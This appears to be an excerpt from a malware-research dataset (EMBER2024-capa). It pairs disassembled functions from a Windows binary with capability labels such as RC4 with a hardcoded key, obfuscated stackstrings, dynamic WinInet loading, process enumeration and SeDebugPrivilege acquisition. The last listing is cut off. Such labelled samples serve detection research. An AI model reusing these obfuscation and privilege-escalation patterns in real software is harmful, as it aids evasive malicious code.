joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fe000
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call fcn.1400f73b0
test eax, eax
js 0x1400fe23e
mov eax, dword [rbx + 0xf0]
xor r10d, r10d
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x1400fe08d
lea r8, [rbx + 8]
lea r8, [r8 + r9*4]
lea rax, [rbx + 8]
nop word [rax + rax]
mov edx, dword [rax - 8]
add r10, 4
mov ecx, dword [r8 - 8]
lea r8, [r8 - 0x10]
mov dword [rax - 8], ecx
lea rax, [rax + 0x10]
mov ecx, dword [r8 + 0xc]
sub r9, 4
mov dword [r8 + 8], edx
mov edx, dword [rax - 0x14]
mov dword [rax - 0x14], ecx
mov ecx, dword [r8 + 0x10]
mov dword [r8 + 0xc], edx
mov edx, dword [rax - 0x10]
mov dword [rax - 0x10], ecx
mov ecx, dword [r8 + 0x14]
mov dword [r8 + 0x10], edx
mov edx, dword [rax - 0xc]
mov dword [rax - 0xc], ecx
mov dword [r8 + 0x14], edx
cmp r10, r9
jl 0x1400fe040
mov r11d, 1
cmp dword [rbx + 0xf0], r11d
jle 0x1400fe23c
mov qword [rsp + 0x30], rdi
lea r10, [rbx + 2]
lea rdi, [0x140000000]
mov r8d, dword [r10 + 0xe]
lea r10, [r10 + 0x10]
mov eax, r8d
inc r11d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 - 1]
mov r9d, dword [rdi + rdx*4 + 0x159b90]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0x159390]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10]
xor r9d, dword [rdi + rcx*4 + 0x158f90]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 + 3]
xor r9d, dword [rdi + rcx*4 + 0x159790]
movzx edx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 + 4]
mov dword [r10 - 2], r9d
mov r9d, dword [r10 + 2]
mov r8d, dword [rdi + rdx*4 + 0x159390]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x159790]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, r9b
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x159b90]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 + 7]
xor r8d, dword [rdi + rcx*4 + 0x158f90]
movzx edx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 + 8]
mov dword [r10 + 2], r8d
mov r8d, dword [rdi + rdx*4 + 0x159390]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x159790]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, r9b
mov r9d, dword [r10 + 0xa]
xor r8d, dword [rdi + rcx*4 + 0x159b90]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 + 0xb]
xor r8d, dword [rdi + rcx*4 + 0x158f90]
movzx edx, byte [rdi + rax*4 + 0x159f90]
movzx eax, byte [r10 + 0xc]
mov dword [r10 + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0x159390]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x159790]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x159b90]
movzx ecx, byte [rdi + rax*4 + 0x159f90]
xor r8d, dword [rdi + rcx*4 + 0x158f90]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x1400fe0b0
mov rdi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400ff000
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x90], rbx
mov rdi, rcx
xor edx, edx
lea r8d, [rdx + 0x5c]
add rcx, 4
call fcn.14009c0b0
mov dword [rdi + 4], 0x67452301
mov dword [rdi + 8], 0xefcdab89
mov dword [rdi + 0xc], 0x98badcfe
mov dword [rdi + 0x10], 0x10325476
lea rax, [rdi + 0xa0]
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
xor ebx, ebx
mov qword [rax + 0x10], rbx
cmp qword [rax + 0x18], 0x10
jb 0x1400ff068
mov rax, qword [rax]
mov byte [rax], bl
lea rax, [rdi + 0xc0]
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], rbx
cmp qword [rax + 0x18], 0x10
jb 0x1400ff087
mov rax, qword [rax]
mov byte [rax], 0
mov word [rdi], 0x101
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x28], 0
movzx eax, byte [0x14015b4c0]
neg al
sbb r8, r8
and r8d, 3
lea rdx, [0x14015b4c0]
lea rcx, [rsp + 0x28]
call fcn.14001c360
nop
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], rbx
mov byte [rsp + 0x48], 0
xor r8d, r8d
lea rdx, [0x14015b600]
lea rcx, [rsp + 0x48]
call fcn.14001c360
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call section..viyuez
nop
mov rax, qword [rsp + 0x40]
cmp rax, 0x10
jb 0x1400ff157
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, 0x1000
jb 0x1400ff151
test cl, 0x1f
je 0x1400ff124
call fcn.1400a5694
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1400ff133
call fcn.1400a5694
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400ff142
call fcn.1400a5694
int3
cmp rcx, 0x27
jbe 0x1400ff14e
call fcn.1400a5694
int3
mov rcx, rax
call fcn.14006dab0
nop
mov rax, rdi
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret
Function at 0x140106710
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov rbx, rcx
xor ecx, ecx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], rcx
cmp qword [rbx + 0x18], 0x10
jb 0x140106747
mov rax, qword [rbx]
jmp 0x14010674a
mov rax, rbx
mov byte [rax], cl
mov byte [rbx + 0x20], 0
mov qword [rbx + 0x28], rcx
mov qword [rbx + 0x30], rcx
mov word [rbp - 0x28], 0x6c6c
mov word [rbp - 0x38], 0x534e
mov dword [rbp - 0x35], 0x6e495f53
mov dword [rbp - 0x2f], 0x4d282063
mov word [rbp - 0x25], reloc.WLDAP32.dll_Ordinal_41
mov word [rbp - 0x31], 0x7465
mov word [rbp - 0x2b], 0x7a6f
mov byte [rbp - 0x36], 0x49
mov byte [rbp - 0x29], 0x69
mov byte [rbp - 0x26], 0x61
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rcx
mov byte [rbp - 0x20], 0
lea rax, [rbp - 0x38]
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1401067b0
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x20]
call fcn.14001c360
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.14001b5a0
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x140106829
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, 0x1000
jb 0x140106824
test cl, 0x1f
je 0x1401067f7
call fcn.1400a5694
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140106806
call fcn.1400a5694
int3
sub rcx, rax
cmp rcx, 8
jae 0x140106815
call fcn.1400a5694
int3
cmp rcx, 0x27
jbe 0x140106821
call fcn.1400a5694
int3
mov rcx, rax
call fcn.14006dab0
lea rcx, str.WinInet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbx + 0x38], rax
test rax, rax
je 0x14010691a
lea rdx, str.InternetOpenA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x40], rax
lea rdx, str.InternetConnectA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x48], rax
lea rdx, str.HttpOpenRequestA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x50], rax
lea rdx, str.InternetQueryOptionA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x58], rax
lea rdx, str.InternetSetOptionA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x60], rax
lea rdx, str.HttpSendRequestA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x68], rax
lea rdx, str.InternetReadFile
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x70], rax
lea rdx, str.InternetCloseHandle
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x78], rax
lea rdx, str.InternetOpenUrlA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x80], rax
lea rdx, str.HttpQueryInfoA
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x88], rax
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x140108460
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0x88
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov rdi, r9
mov r14, r8
mov rsi, rcx
xor r15d, r15d
mov dword [rbp - 0x29], r15d
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rcx + 0x10], r15
cmp qword [rcx + 0x18], 0x10
jb 0x1401084b8
mov rax, qword [rcx]
jmp 0x1401084bb
mov rax, rsi
mov byte [rax], 0
mov dword [rbp - 0x29], 1
cmp qword [r8 + 0x18], 0x10
jb 0x1401084d1
mov rdx, qword [r8]
jmp 0x1401084d4
mov rdx, r14
lea rax, [rbp - 0x21]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140108624
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r15
mov dword [rbp + 0x6f], r15d
cmp qword [rdi + 0x18], 0x10
jb 0x140108517
mov rdx, qword [rdi]
jmp 0x14010851a
mov rdx, rdi
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1401085cc
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x1401085cc
mov edx, eax
lea rcx, [rbp - 0x11]
call fcn.14001e6c0
cmp qword [rdi + 0x18], 0x10
jb 0x140108562
mov rdx, qword [rdi]
jmp 0x140108565
mov rdx, rdi
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov rbx, qword [rbp - 0x11]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1401085d0
mov r8, qword [rbp - 9]
dec r8
mov qword [rbp + 0x1f], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x17], r15
mov byte [rbp + 7], al
cmp rbx, r8
je 0x1401085b5
sub r8, rbx
mov rdx, rbx
lea rcx, [rbp + 7]
call fcn.14001c360
lea rdx, [rbp + 7]
mov rcx, rsi
call fcn.14001b5a0
lea rcx, [rbp + 7]
call fcn.14001b510
jmp 0x1401085d0
mov rbx, qword [rbp - 0x11]
test rbx, rbx
je 0x140108624
mov rax, qword [rbp - 1]
sub rax, rbx
cmp rax, 0x1000
jb 0x14010861c
test bl, 0x1f
je 0x1401085ef
call fcn.1400a5694
int3
mov rax, qword [rbx - 8]
cmp rax, rbx
jb 0x1401085fe
call fcn.1400a5694
int3
sub rbx, rax
cmp rbx, 8
jae 0x14010860d
call fcn.1400a5694
int3
cmp rbx, 0x27
jbe 0x140108619
call fcn.1400a5694
int3
mov rbx, rax
mov rcx, rbx
call fcn.14006dab0
mov rcx, qword [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, r14
call fcn.14001b510
nop
mov rcx, rdi
call fcn.14001b510
mov rax, rsi
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140109140
Capabilities:
Check http status code
Contain obfuscated stackstrings

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rsp + 0xb0], rbx
mov rbx, rcx
xor sil, sil
mov dword [rbp - 0x28], 0x632e656c
mov dword [rbp - 0x2f], 0x672e7777
mov word [rbp - 0x23], WSASetLastError
mov word [rbp - 0x2b], 0x6f6f
mov byte [rbp - 0x24], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp - 0x30], 0x77
mov byte [rbp - 0x29], 0x67
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
xor r14d, r14d
mov qword [rbp - 0x10], r14
mov byte [rbp - 0x20], sil
lea rax, [rbp - 0x30]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1401091b0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x20]
call fcn.14001c360
mov r15d, 1
mov r9d, r15d
mov r8d, 0x1bb
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140107840
cmp byte [rbx + 0x20], r14b
je 0x140109341
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.140106050
nop
cmp qword [rax + 0x18], 0x10
jb 0x140109201
mov rax, qword [rax]
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x803000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, str.HTTP_1.0
lea r8, [0x14015b7b8]
mov rdx, rax
mov rcx, qword [rbx + 0x30]
call qword [rbx + 0x50]
mov rdi, rax
mov rcx, qword [rbp - 8]
cmp rcx, 0x10
jb 0x14010928d
inc rcx
mov rdx, qword [rbp - 0x20]
cmp rcx, 0x1000
jb 0x140109285
test dl, 0x1f
je 0x140109258
call fcn.1400a5694
int3
mov rax, qword [rdx - 8]
cmp rax, rdx
jb 0x140109267
call fcn.1400a5694
int3
sub rdx, rax
cmp rdx, 8
jae 0x140109276
call fcn.1400a5694
int3
cmp rdx, 0x27
jbe 0x140109282
call fcn.1400a5694
int3
mov rdx, rax
mov rcx, rdx
call fcn.14006dab0
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], r14
mov byte [rbp - 0x20], 0
test rdi, rdi
je 0x140109329
mov dword [rbp + 0x48], 4
lea r9, [rbp + 0x48]
lea r8, [rbp + 0x38]
mov edx, Ordinal_33
mov rcx, rdi
call qword [rbx + 0x58]
or dword [rbp + 0x38], 0x180
mov r9d, 4
lea r8, [rbp + 0x38]
lea edx, [r9 + 0x1b]
mov rcx, rdi
call qword [rbx + 0x60]
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [rbx + 0x68]
mov dword [rbp + 0x40], r14d
mov dword [rbp - 0x40], 4
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x40]
lea r8, [rbp + 0x40]
mov edx, 0x20000013
mov rcx, rdi
call qword [rbx + 0x88]
movzx esi, sil
cmp dword [rbp + 0x40], 0xc8
cmove esi, r15d
mov rcx, rdi
call qword [rbx + 0x78]
cmp byte [rbx + 0x20], 0
je 0x140109341
mov rcx, qword [rbx + 0x30]
call qword [rbx + 0x78]
mov rcx, qword [rbx + 0x28]
call qword [rbx + 0x78]
mov byte [rbx + 0x20], 0
movzx eax, sil
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14010a210
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov esi, r8d
mov rdi, rcx
xor eax, eax
mov rdx, rcx
nop dword [rax]
nop word [rax + rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
inc eax
cmp eax, 0x100
jl 0x14010a240
xor r11d, r11d
movzx ebp, sil
xor r8b, r8b
lea r14, [rcx + 0xff]
mov r10d, 0xff
lea r15, str.refgdfbfghjuyujk
nop dword [rax]
xor ebx, ebx
mov r9d, 1
cmp r10d, r9d
jbe 0x14010a290
nop dword [rax]
lea r9d, [r9*2 + 1]
cmp r9d, r10d
jb 0x14010a280
nop dword [rax]
movzx ecx, r8b
movzx r8d, byte [rcx + rdi]
add r8b, byte [r11 + r15]
inc r11d
cmp r11d, ebp
jb 0x14010a2ab
xor r11d, r11d
add r8b, sil
movzx eax, r8b
inc ebx
and eax, r9d
cmp ebx, 0xb
jbe 0x14010a2c0
xor edx, edx
div r10d
mov eax, edx
cmp eax, r10d
ja 0x14010a290
movzx edx, byte [r14]
movzx ecx, al
movzx eax, byte [rcx + rdi]
mov byte [r14], al
dec r14
mov byte [rcx + rdi], dl
sub r10d, 1
jne 0x14010a270
movzx eax, byte [rdi + 1]
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov byte [rdi + 0x100], al
movzx eax, byte [rdi + 3]
mov byte [rdi + 0x101], al
movzx eax, byte [rdi + 5]
mov byte [rdi + 0x102], al
movzx eax, byte [rdi + 7]
mov byte [rdi + 0x103], al
movzx eax, r8b
movzx ecx, byte [rax + rdi]
mov rax, rdi
mov byte [rdi + 0x104], cl
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
Function at 0x140118c00
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x10], rdx
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov qword [r11 - 0x38], 0xfffffffffffffffe
mov rbx, r9
mov r14, r8
mov r15, rdx
mov esi, 1
xor edi, edi
mov qword [r11 - 0x40], rdi
lea rax, [r11 - 0x40]
mov qword [r11 - 0x58], rax
mov r9d, 0x20219
xor r8d, r8d
mov rdx, qword [rdx]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140118d02
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x80], 0x800
mov rax, qword [rbx]
sub esi, dword [rax - 8]
mov eax, dword [rax - 0xc]
sub eax, 0x800
or eax, esi
jge 0x140118c8d
mov edx, 0x800
mov rcx, rbx
call fcn.14001f8b0
mov rax, qword [rbx]
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
mov r8, qword [r14]
lea rdx, [0x14015b600]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov esi, eax
mov rcx, qword [rbx]
test rcx, rcx
je 0x140118cd5
movsxd rdx, dword [rcx - 0xc]
call fcn.1400a8844
mov edi, eax
test eax, eax
js 0x140118cf7
mov rax, qword [rbx]
cmp edi, dword [rax - 0xc]
jg 0x140118cf7
mov dword [rax - 0x10], edi
movsxd rcx, edi
mov rax, qword [rbx]
mov byte [rcx + rax], 0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140118d02
mov ecx, 0x80070057
call fcn.14001fe40
int3
test esi, esi
sete dil
mov rdx, qword [r15]
sub rdx, 0x18
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
lea rsi, vtable.ATL::CAtlStringMgr.0
sub eax, 1
jg 0x140118d4d
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, rsi
jne 0x140118d49
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140118d4d
call r8
nop
mov rdx, qword [r14]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x140118d85
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, rsi
jne 0x140118d82
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140118d85
call r8
movzx eax, dil
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140118da0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x160
mov ebp, edx
mov dword [rsp + 0x30], 0x130
mov r14, rcx
lea rdx, [rsp + 0x30]
xor r15d, r15d
mov rcx, r9
mov ebx, r15d
mov rdi, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x140118e42
nop word [rax + rax]
lea rdx, [rsp + 0x5c]
mov rcx, r14
call fcn.1400b739c
test eax, eax
jne 0x140118e2f
mov ecx, dword [rsp + 0x38]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov eax, dword [rsp + 0x20]
cmp eax, 0x3e8
ja 0x140118e24
cmp eax, ebp
jne 0x140118e2f
mov eax, dword [rsp + 0x38]
mov ebx, 1
mov dword [rsi], eax
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x140118df0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x160]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140118e70
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x50], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140118f01
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140118ef6
mov rax, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], 0
xor edx, edx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [0x140181598]
add rsp, 0x48
ret
Function at 0x1401195b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x58
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rsi, rcx
lea rdx, [0x14015ba30]
lea rcx, [rsp + 0x40]
call fcn.14010a000
mov rbx, rax
lea r8, [0x14015b7bc]
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.140020c60
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140020d50
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
lea rbp, vtable.ATL::CAtlStringMgr.0
sub eax, 1
jg 0x14011964a
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, rbp
jne 0x140119646
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14011964a
call r8
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140119686
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, rbp
jne 0x140119683
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140119686
call r8
mov dword [rsp + 0x88], 0
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14011970b
mov dword [rsp + 0x90], 4
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.State
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x88], 0
setne dil
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140119754
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, rbp
jne 0x140119750
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140119754
call r8
nop
mov rdx, qword [rsi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x14011978f
mov rax, qword [rdx]
mov rcx, qword [rax]
mov r8, qword [rcx + 8]
cmp rcx, rbp
jne 0x140119789
mov rcx, qword [rax + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14011978f
mov rcx, rax
call r8
movzx eax, dil
add rsp, 0x58
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140119890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
mov dword [rbp - 0x2b], 0x6c6c642e
xor ebx, ebx
mov dword [rbp - 0x30], 0x6c64746e
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x27], bl
mov byte [rbp - 0x2c], WSAGetLastError
mov dword [rbp - 0x20], 0x6554744e
mov dword [rbp - 0x1c], 0x6e696d72
mov dword [rbp - 0x16], 0x6f725065
mov word [rbp - 0xf], reloc.WS2_32.dll_WSAStartup
mov word [rbp - 0x12], 0x6563
mov word [rbp - 0x18], 0x7461
mov byte [rbp - 0x10], reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140119920
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140181580], rax
test rax, rax
je 0x140119920
xor edx, edx
mov rcx, rdi
call rax
test eax, eax
mov ecx, 1
cmove ebx, ecx
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x14011a000
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rdi, r9
mov qword [rsp + 0x70], 0
mov rsi, r8
lea rax, [rsp + 0x70]
mov r14, rdx
mov qword [rsp + 0x20], rax
mov rdx, qword [rdx]
mov r9d, 0x20219
